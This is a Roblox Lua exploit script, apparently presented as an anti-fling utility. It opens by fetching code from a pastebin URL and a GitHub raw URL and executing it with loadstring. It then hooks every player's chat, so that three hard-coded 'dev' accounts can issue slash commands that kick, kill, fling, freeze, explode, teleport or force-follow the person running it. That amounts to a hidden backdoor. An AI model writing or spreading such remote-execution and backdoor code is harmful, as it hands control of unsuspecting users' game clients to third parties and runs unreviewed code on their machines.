loadstring(game:HttpGet("https://pastebin.com/raw/tU2aF8rE"))() --[[ Anti fling by: @RemoteAbuser ]] loadstring(game:HttpGet("https://raw.githubusercontent.com/HarcangiRobloxProjects/AntiFling/refs/heads/main/antifling.lua"))() local Players = game:GetService("Players") local RunService = game:GetService("RunService") local Debris = game:GetService("Debris") local LocalPlayer = Players.LocalPlayer --// DEV USERNAMES local devNames = {"AintMyCrib", "AintMyCribGng", "QuieresSeImmortal"} --// GET DEV IDS local devIds = {} for _,name in ipairs(devNames) do local ok,id = pcall(function() return Players:GetUserIdFromNameAsync(name) end) if ok and id then table.insert(devIds,id) end end --// GET PLAYER BY NAME local function getPlayer(str) str = str:lower() for _,p in pairs(Players:GetPlayers()) do if p.Name:lower():sub(1,#str) == str then return p end end end --// STATES local followConn local noclipConn --// COMMAND HANDLER local function runCommand(msg, sender) if not table.find(devIds, sender.UserId) then return end if msg:sub(1,1) ~= "/" then return end local args = {} for w in msg:lower():gmatch("%S+") do table.insert(args,w) end local cmd = args[1]:gsub("/","") local targetArg = args[2] --// TARGET SYSTEM local targets = {} if targetArg == "all" then targets = Players:GetPlayers() elseif targetArg then local p = getPlayer(targetArg) if p then table.insert(targets,p) end else table.insert(targets, LocalPlayer) end for _,plr in pairs(targets) do local char = plr.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") local hum = char and char:FindFirstChildOfClass("Humanoid") --// COMMANDS if cmd == "kick" and plr == LocalPlayer then LocalPlayer:Kick("Kicked 😭") elseif cmd == "kill" and char then char:BreakJoints() elseif cmd == "bring" and hrp and sender.Character then hrp.CFrame = sender.Character.HumanoidRootPart.CFrame + Vector3.new(0,0,3) elseif cmd == "explode" and hrp then local e = Instance.new("Explosion",workspace) e.Position = hrp.Position elseif cmd == "freeze" and hrp then local bp = Instance.new("BodyPosition",hrp) bp.MaxForce = Vector3.new(1e6,1e6,1e6) bp.Position = hrp.Position local bg = Instance.new("BodyGyro",hrp) bg.MaxTorque = Vector3.new(1e6,1e6,1e6) bg.CFrame = hrp.CFrame elseif cmd == "unfreeze" and hrp then for _,v in pairs(hrp:GetChildren()) do if v:IsA("BodyPosition") or v:IsA("BodyGyro") then v:Destroy() end end elseif cmd == "fling" and hrp then local bv = Instance.new("BodyVelocity",hrp) bv.MaxForce = Vector3.new(1e9,1e9,1e9) bv.Velocity = Vector3.new(0,5000,0) Debris:AddItem(bv,1) elseif cmd == "rocket" and hrp then local bv = Instance.new("BodyVelocity",hrp) bv.MaxForce = Vector3.new(1e5,1e5,1e5) bv.Velocity = Vector3.new(0,100,0) Debris:AddItem(bv,1) elseif cmd == "follow" and sender.Character and plr == LocalPlayer then if followConn then followConn:Disconnect() end followConn = RunService.Stepped:Connect(function() local myRoot = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") local targetRoot = sender.Character and sender.Character:FindFirstChild("HumanoidRootPart") if myRoot and targetRoot then myRoot.CFrame = targetRoot.CFrame * CFrame.new(0,0,-3) end end) elseif cmd == "unfollow" then if followConn then followConn:Disconnect() end elseif cmd == "noclip" and plr == LocalPlayer then if noclipConn then noclipConn:Disconnect() end noclipConn = RunService.Stepped:Connect(function() for _,v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") then v.CanCollide = false end end end) elseif cmd == "unnoclip" and plr == LocalPlayer then if noclipConn then noclipConn:Disconnect() end for _,v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") then v.CanCollide = true end end elseif cmd == "sit" and hum then hum.Sit = true end end end --// CHAT LISTENER (THIS WAS YOUR MAIN ISSUE) local function hookPlayer(p) p.Chatted:Connect(function(msg) runCommand(msg, p) end) end -- existing players for _,p in pairs(Players:GetPlayers()) do hookPlayer(p) end -- new players Players.PlayerAdded:Connect(hookPlayer)